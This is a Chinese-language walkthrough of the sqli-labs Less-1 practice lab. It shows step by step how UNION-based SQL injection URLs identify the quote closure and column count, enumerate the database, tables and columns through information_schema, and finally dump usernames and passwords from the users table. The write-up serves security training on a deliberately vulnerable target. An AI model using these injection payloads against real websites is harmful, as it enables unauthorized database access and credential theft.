首先,进入靶场
在url后面分别添加?id=1, ?id=2, ?id=2-1 ,观察页面的变化,判断是字符型还是数字型。
(如果id=2-1 与 id=1的页面一样,就是数字型;如果id=2-1与id=2的页面一样,就是字符型)
http://172.16.11.222/sqli-labs/Less-1/?id=1发现它是字符型。
在id=2后面分别加上' , " 即单引号,双引号
http://172.16.11.222/sqli-labs/Less-1/?id=1%27发现加'时报错了,而加"是正常显示,说明闭合符是"。所以我们应该使用',不能让它闭合了
http://172.16.11.222/sqli-labs/Less-1/?id=1%27%20order%20by%203%20--+在后面分别添加order by 1 --+,order by 2 --+,order by 3 --+……order by n --+,观察是否报错
我们发现在by 3的时候还是正常的,而by 4的时候就没了,说明要查询的字段数量是3个。
…… union select 1,2,3 --+
把id的值换成-1,不让它显示正常的值,然后在后面加上union select 1,2,3 --+。查看字段的占位信息。
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,3%20--+1的位置是dhakkan,固定的,只能在2,3下手。
…… union select 1,2,database() --+,把3换成database(),即在输出3的地方输出数据库名。
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,database()%20--+
发现数据库名字是security
…… union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+group_concat()是把要输出的内容都放在一个分组里输出,如果不加的话,就只会输出第一个表名。如下:
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27--+至于找哪个表里的内容,当然是users表
…… union select 1,2,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'--+
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.COLUMNs%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+users表里有id,username,password三个字段。
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(concat_ws(%27,%27,username,password)%20SEPARATOR%20%27|%27)%20from%20users%20--+账号密码就出来了
不同用户以|分割,账号密码以,隔开